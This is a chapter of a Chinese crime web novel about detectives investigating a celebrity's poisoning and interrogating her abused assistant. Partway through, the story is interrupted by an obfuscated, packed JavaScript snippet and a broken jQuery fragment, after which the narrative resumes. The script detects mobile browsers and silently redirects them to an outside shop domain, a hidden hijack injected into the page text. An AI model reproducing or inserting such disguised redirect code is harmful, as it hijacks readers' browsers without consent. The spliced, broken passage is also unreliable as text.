她蹭一下起身，心跳像鼓点一样越来越响，几乎盖过了她自己的声音：
“怎么可能？”
众人的目光汇集在她身上，她慌乱地对上他们的眼神，解释道：“我一上午都跟杜队在一起啊，我们去医院了。”
邓龙指了指那堆信息，看向她的眼神更加冷酷：“名字下面那个电话号码是你的吗？”
她下意识抬头辨认号码：“是我的。”
“为什么会出现在这里？”
马思明强迫自己冷静下来，思考着一切的可能性。
有人栽赃嫁祸？凶手是队里的人？还是说宗穗自己给自己点的？不对，她怎么可能有自己的电话号码呢？是信息泄露吗？
突然，她的眉头解开，一个她刻意忽略了很久的事实浮出水面。
“我的手机号泄露了。”
她的声音因为高度紧张变得尖细：“就在发布会之后不久，我的私人号码泄露了。”
众人的目光再次汇集在她身上，只是眼神不同，她很轻易辨认出同情和无奈。
“为什么不报告？”邓龙的嗓音低沉。
“我......”马思明对上杜宇的眼神，又很快低下头，“我怕影响大家。”
“你现在已经影响了！”邓龙敲了敲桌子，语气掩饰不住的愤怒。
气氛更加沉默，只有吕音操作键盘的声音，马思明的身体止不住地发抖，强硬地撑着面上的平静。
她一直都不明白，为什么局长这么针对她？
她到底做错了什么？明明是她在经历网暴，她才是受害者，他为什么一直在指责她？
“所以凶手是了解小马的。”杜宇开口打破了沉默，“起码来说，凶手一直关注之前直播的事，才能知道小马的电话号码。”
看到队长解围，李越冬也跟着发言：“也就是说，这两起案子是同一个凶手杀的？”
“从监控的视角看，停车场的黑衣人和外卖员的身形倒是吻合，”吕音调出两个人影，放大在屏幕上。
“不一定是同一个人，但肯定是跟沈之星案有关系的。”张晋补充。
“宗穗手机里有跟外卖员的通话记录吗？”马思明转向吕音，声音仍然带着些许颤抖。
“没有。”吕音斩钉截铁地回复，片刻之后又皱眉，盯着电脑屏幕道：“她最后联系的人是郑助理，时间是三天前，只发了一条短信。”
“这个时间点......”李越冬思索道：“是那天跟我们坦白之后发的吧。”
大屏上显示了内容，那张惨白的脸仿佛又出现在马思明眼前，狰狞地嘶吼：“我愿意相信马警官！我自首了！你别想毁了我！你们谁都别想！”
大兴国际机场。
候机室人来人往，一个短发女人背着双肩包，推动行李箱往出口的方向走去。
她一边推动箱子，一边打开手机，关闭飞行模式后不久，成堆的短信朝她袭来，邮箱的提示声不绝于耳。她勾起唇角，短秃的手指跟着上下滑动，几分钟就看了个大概。
都是些匿名投稿，她随手点开几个感兴趣的，要么是哪个流量小生脚踩几条船，几个受害者联手寄给她的相关证明，要么是哪个新晋爱豆恋爱被曝光，黑粉偷拍的照片。
庸俗。
她不屑一顾，自从上次沈之星的黑料曝光之后，她算是实打实地吃到了流量红利，她“雷大锤”的名号从来没有这么响过，怎么看得上这么一点扯头花的黑料呢？
雷嘉不死心地上下滑动，一张照片吸引了她的目光。
那是一张再普通不过的照片，一个居家的女人正接着外卖袋，像是没有防备到拍摄的动作，呆滞的脸上有几分疑惑。
雷嘉将那张定格的脸放大再缩小，忍不住在机场笑出了声。
居然是宗穗？她怎么变成这样了？
周围的人路过，奇怪地瞥着她，雷嘉艰难忍住笑意，点开邮件内容。
发件人是一串乱码数字，内容上写：她人生的最后一张写真，送你了。
这是什么意思？雷嘉皱着眉头，切换软件浏览热榜，没有特殊的词条，关于宗穗的负面舆论，仍然是一些陈年旧事，再有就是和最近的死者扯头花的事。
难道......宗穗遇害了？
“为什么还要抓我啊！”
警方审问室内，郑安急得掉眼泪，抓着眼前的男警员不放。
“我上次跟你说过，你记不记得，还有你们队长，我跟杜宇说过啊！”
李越冬张开双臂，小心不去碰她的手，别过脸劝阻道：“郑小姐，你冷静一点，我们只是照常问询。”
“我真的没有杀人啊警官！”
张晋将她的手指一根根掰开，顺了顺李越冬的衣领，安抚道：“你是宗穗的生活助理，所以我们需要问你几个问题，问完就放你走了。”
逼仄的空间几乎令她窒息，她哭丧着脸，无奈地闭上眼睛。
怎么会这样？
宗穗怎么会死呢？她不是前两天还好好的，还趾高气扬地命令自己吗？
“宗穗家的地址都有谁知道？”
“我们经纪团队，还有她几个玩得好的朋友都知道。”
“她平时有点外卖的习惯吗？”
“没有，都是我点的。”郑安回忆道，“她喜欢甜点，但是为了上镜很少吃，偶尔会让我帮忙点。”
“昨天的外卖是你点的吗？”
“当然不是了！”她激动地反驳，“沈之星死了之后，我就没再联系过她。”
“为什么？”
“我良心不安......”她摩挲着手指，垂下头，“我每晚都做噩梦，梦到沈之星问我，为什么让他死了还被人骂。”
两人对视一眼，张晋问道：
“听经纪人说，她经常欺负你，真的假的？”
郑安苦笑两声，“她是大明星，我只是个小助理，被欺负也正常。”
“你倒是很看得开啊。”李越冬依靠在椅背上，向她展示几张监控的截图，“这些都是我们网警收集的照片，画面里是你跟宗穗吗？”
郑安抬眼看过去，模糊的截图中，她依稀辨认出自己的身影：有跪着给宗穗穿鞋的，有捧着手让宗穗吐口香糖的，有因为咖啡不够冰，被宗穗泼了满身的。
“......是。”
“她这么欺负你，你就不恨她吗？”
她的眼神逐渐变得阴狠，仿佛经历着过去经历过的痛苦。
“恨......我恨她！”
郑安抬起头，两只眼睛汪着泪，表情却不像刚才那么软弱，满是愤恨，“凭什么，我也是人！她凭什么敢这么对我！”
她刚进圈子的时候，跟是她大学时期就很喜欢的艺人，叫徐清耀。
他非常专业，也没有架子，只是赚钱心切走了岔路，团队解散不久就死了。她到现在都觉得难以置信，一个成年男人，竟然因为走路摔了一跤，把后脑摔在硬地上，这么轻易就死了。
因为前面团队的推荐，她很快到舒朗手下，这是个不折不扣的色狼，她心里盼着跳槽，还没盼多久，他也掉到水库里淹死了。
圈里的人迷信，知道这些都不敢要她，只有宗穗愿意。她那时候以为遇到了贵人，没想到在她手底下两个月，被折磨得没有一点尊严，她没有一刻不恨她的！
“所以你给她投毒，还利用马警官的名字，想要洗脱自己的嫌疑，是吗？”李越冬语气冷硬。
“我没有！”郑安脸色大变，“我是恨她，但是没有杀她啊！”
“昨天上午十点到下午一点，你在哪里？”
“在家。”
“有人能证明吗？”
“没有，我一个人。”她的眼神黯淡下来，又像是抓住一丝希望，声音带着迟疑，“有监控吗？我住的地方......有监控能拍到吗？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17895011|212835||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“我们查了，没有监控。”张晋平静地回复，打破了她残存的希望。
“可是，这样也不能说明是我杀人了啊！”郑安抗辩道：“你们不能没有证据就乱抓人！”
李越冬翻了翻眼前的档案，正色道，“你大学的专业是......化学系？”
郑安如同五雷轰顶，连句整话都说不过来，只呆呆地顺着对方最后一句话反驳，“化学系......化学系又能说明什么？”
“宗穗是中毒死的。”李越冬冷笑道，“你了解死者的生活习惯、家庭住址，又恨她，没有不在场证明，收到过死者的短信，甚至知道死者生前曾经找马警官自首过，郑小姐，你说我们为什么怀疑你？”
她如同五雷轰顶，机械地摇头，“不是......不是......我没杀人......跟我没有关系！”
两个男警员对视一眼，李越冬歪头，揶揄道：
“我也很好奇，你一个正经本科化学系出身，反而去娱乐圈做助理，而且跟着谁，谁很快就会死。”
他拉长了音调，眼神带着天真的好奇，“难道说，你就是那个传说中的黑榜杀手？不仅杀了前两个死者，还策划了死亡直播，接着毒杀你最恨的宗穗？”
“我不是啊！我没有杀人！”
“你说没有，但不在场证据你又拿不出来。”张晋平静的声音在她面前响起。
郑安濒临崩溃，瞪大了眼睛，拼命在脑海中回想和他们相处的一点一滴。
“等等！我有！沈之星死的那天下午，我一直跟宗穗在一起！”
“宗穗死了。”
郑安怔了一下，眼神又很快迸发出希望，“还有雷嘉，雷嘉可以帮我作证！那天我们一直在谈黑料的报价，她可以帮我作证的！上次我给你们联系方式了啊，你们没找到她吗？”
两人沉默着交换了个眼神，李越冬眼神微微眯起，辨别这些说辞的可信度。
郑安抓住空挡，又看清楚了两人表情，很快反应过来在诈自己，激动道：
“你们没找是吧？”
张晋试图控制局面：“目前还在——”
“你们根本没把我上次说的话放在眼里！”郑安愤怒地打断他的话，“自己没找到人，反来说我是凶手！”
李越冬轻咳两声，正想开口，只见眼前的人瞪着自己恶狠狠道：
“我记住你了，李越冬是吧？我一定会投诉你！”
惨了。
玩脱了。
送走郑安，走出审问室一段距离后，李越冬终于长舒一口气，忍不住埋怨起后面的张晋。
“张哥，我凶的时候你就别凶了，一个唱黑脸一个唱白脸才有用啊。”
夕阳西下，玻璃窗上映着两人的倒影，张晋反唇相讥：“是你用力过猛了，一上来给人家扣这么大一顶帽子，人家能不投诉你吗？”
李越冬拿过笔录，跟他勾肩搭背，一起往办公室的方向走去，“还是咱俩配合太少了，每次我跟小马一起的时候可默契了。”
他一边说，一边推开办公室的门，刚刚念叨过的小马整跟他心心念念的小音坐在一起，严肃地盯着电脑屏幕。
“你俩干嘛呢？”
马思明看了他们一眼，一言不发，只是叹气。吕音接过话道：
“一个好消息，一个坏消息，你们先听哪一个？”
李越冬自来熟地坐到她旁边，笑吟吟道：“好消息！”
吕音被他的笑意感染，也跟着笑，“好消息是，我们找到雷嘉的IP了，她今天刚刚回国。”
“真厉害。”李越冬托腮，自然地依靠在桌子上，只星星眼地看着对方。
一旁的马思明翻了个白眼，起身远离这种孔雀开屏行为。
“那坏消息呢？”站在她们身后的张晋提问。
马思明面色凝重道：“雷嘉爆料了宗穗死亡的事，已经登上黑榜第一了。”